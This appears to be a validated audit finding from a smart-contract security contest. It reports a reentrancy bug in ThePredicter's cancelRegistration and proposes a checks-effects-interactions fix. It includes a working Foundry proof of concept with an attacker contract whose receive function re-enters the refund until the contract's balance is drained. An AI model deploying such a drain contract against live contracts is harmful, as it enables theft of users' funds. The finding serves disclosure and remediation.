First Flight #20: The Predicter
First Flight #20
Beginner FriendlyFoundry
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Reentrancy in `ThePredicter::cancelRegistration`

JJS

Summary

To ensure the integrity of the user's state within ThePredicter::cancelRegistration,
the function initially verifies if the user's status is Pending.
Upon confirmation, the function processes the refund of the entrance fee.
Subsequently, it updates the user's status to Canceled.
This sequence of operations, however, introduces a vulnerability: it allows a malicious user to re-enter
the cancelRegistration function, potentially leading to the depletion of the contract's funds.

Vulnerability Details

function cancelRegistration() public {
if (playersStatus[msg.sender] == Status.Pending) {
@> (bool success,) = msg.sender.call{value: entranceFee}("");
require(success, "Failed to withdraw");
@> playersStatus[msg.sender] = Status.Canceled;
return;
}
revert ThePredicter__NotEligibleForWithdraw();
}

Impact

The impact is marked as HIGH, because it let's attackers drain all the contract's funds. In addition, any attacker can do that.

Impact: High + Likelihood: HIgh = HIGH

Tools Used

Slither + Manual Review and Testing

Here is the Slither output that got me looking at the issue:
```bash

Reentrancy in ThePredicter.cancelRegistration() (src/ThePredicter.sol#58-67):
External calls:
- (success,None) = msg.sender.call{value: entranceFee}() (src/ThePredicter.sol#60)

```

Here is a test the can be implemented in the ThePredicter.test.sol file:

Step by step:

  1. A stranger enters

  2. Setting up the attacker contract.

  3. The attack function calls the cancelRegistration function.

  4. ThePredicter refunds the attacker. However, the attacker contract has a malicious receive function that calls cancelRegistration. Therefore, draining the contract.

  5. Lastly, testing to see that the amounts match.

function test_ReentrancyOnCancelRegistration() public {
// 1
vm.startPrank(stranger);
vm.deal(stranger, 1 ether);
thePredicter.register{value: 0.04 ether}();
vm.stopPrank();
​
// 2. Setting up attacker and attacking
ReentrancyAttacker attacker = new ReentrancyAttacker(thePredicter);
vm.deal(address(attacker), 1 ether);
address attackUser = makeAddr("attackUser");
vm.prank(address(attackUser));
attacker.attack();
// 3. See the results
assertEq(address(thePredicter).balance, 0);
assertEq(address(attacker).balance, 1.04 ether);
}
​
contract ReentrancyAttacker {
ThePredicter victim;
uint256 entranceFee;
​
constructor(ThePredicter _victim) {
victim = _victim;
entranceFee = 0.04 ether;
}
​
function attack() external payable {
// Entering
victim.register{value: entranceFee}();
// By this point there should be the stranger and the attacker funds in at 0.08 ether;
victim.cancelRegistration();
}
​
function _steal() internal {
if (address(victim).balance > 0) {
victim.cancelRegistration();
}
}
​
receive() external payable {
_steal();
}
​
fallback() external payable {
_steal();
}
}

Recommendations

Follow CEI: Checks, effects, interactions. Simply put, move the state change up:

```diff
​
function cancelRegistration() public {
if (playersStatus[msg.sender] == Status.Pending) {
- (bool success,) = msg.sender.call{value: entranceFee}("");
- require(success, "Failed to withdraw");
- playersStatus[msg.sender] = Status.Canceled;
return;
}
revert ThePredicter__NotEligibleForWithdraw();
}
​
function cancelRegistration() public {
if (playersStatus[msg.sender] == Status.Pending) {
+ playersStatus[msg.sender] = Status.Canceled;
+ (bool success,) = msg.sender.call{value: entranceFee}("");
+ require(success, "Failed to withdraw");
return;
}
revert ThePredicter__NotEligibleForWithdraw();
}
```
Updates

Lead Judging Commences

NightHawK Lead Judge 11 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Reentrancy in cancelRegistration

Reentrancy of ThePredicter::cancelRegistration allows a maliciour user to drain all funds.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.